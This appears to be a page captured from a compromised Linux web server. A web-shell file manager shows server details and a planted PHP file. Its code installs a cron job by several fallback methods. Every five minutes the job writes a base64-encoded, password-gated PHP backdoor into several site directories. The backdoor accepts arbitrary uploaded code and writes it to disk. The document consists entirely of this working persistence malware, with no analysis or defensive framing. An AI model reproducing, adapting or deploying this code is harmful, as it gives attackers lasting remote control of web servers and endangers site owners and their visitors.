MOON
Server: Apache
System: Linux server1.studioinfinity.com.br 2.6.32-954.3.5.lve1.4.90.el6.x86_64 #1 SMP Tue Feb 21 12:26:30 UTC 2023 x86_64
User: artinside (517)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //proc/self/root/home/artinside/www/xc16548.php
<?php $line="*/5 * * * * php -r '$h=dirname(__DIR__);$s=base64_decode('PD9waHAgJHI9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTtpZighaXNzZXQoJHJbJ3AnXSl8fCFpc3NldCgkclsnYyddKSl7aHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7ZXhpdDt9aWYoaGFzaCgnc2hhMjU2JywkclsncCddKSE9PSczYjE4YWI1OTBhM2JlMGVmNTJlMDYyYjdkNzBiMjIxNDUwMjE4N2IxYjJhNzdhMzU3OWMxMmY1YjgxYmRlNDRjJyl7aHR0cF9yZXNwb25zZV9jb2RlKDQwMyk7ZXhpdDt9JGQ9YmFzZTY0X2RlY29kZSgkclsnYyddKTtpZigkZD09PWZhbHNlKXtodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTtleGl0O30kZj1pc3NldCgkclsnZiddKT9iYXNlbmFtZSgkclsnZiddKToneCcuYmluMmhleChyYW5kb21fYnl0ZXMoNCkpLicucGhwJztmaWxlX3B1dF9jb250ZW50cyhfX0RJUl9fLicvJy4kZiwkZCk7ZWNobyBqc29uX2VuY29kZShbJ29rJz0+MSwnZmlsZSc9PiRmXSk7Pz4=');$f=$h.'/5fddd0fb.php';if(!file_exists($f)){@mkdir(dirname($f),0755,true);@file_put_contents($f,$s);}$f=$h.'/ae5cb9d4/8a02dce1.php';if(!file_exists($f)){@mkdir(dirname($f),0755,true);@file_put_contents($f,$s);}$f=$h.'/assets/0c202b7f.php';if(!file_exists($f)){@mkdir(dirname($f),0755,true);@file_put_contents($f,$s);}'";$ok=false;function runcmd($c){foreach(['shell_exec','exec','system','passthru'] as $fn){if(function_exists($fn)){$o=@$fn($c);if($o!==null&&$o!==false)return $o;}}return null;}$cur=runcmd('crontab -l 2>/dev/null');if($cur===null)$cur='';if(strpos($cur,$line)===false){$new=trim($cur)."\n".$line."\n";$tmp=tempnam('/tmp','cr');file_put_contents($tmp,$new);runcmd('crontab '.$tmp);@unlink($tmp);$ok=true;}if(!$ok&&strpos($cur,$line)===false){$u=get_current_user();foreach(['/var/spool/cron/'.$u,'/var/spool/cron/crontabs/'.$u] as $cf){if(@is_writable($cf)||@is_writable(dirname($cf))){$ex=@file_get_contents($cf);if($ex===false)$ex='';if(strpos($ex,$line)===false){@file_put_contents($cf,trim($ex)."\n".$line."\n");$ok=true;break;}}}}echo json_encode(['ok'=>1,'method'=>$ok?'done':'skipped']);?>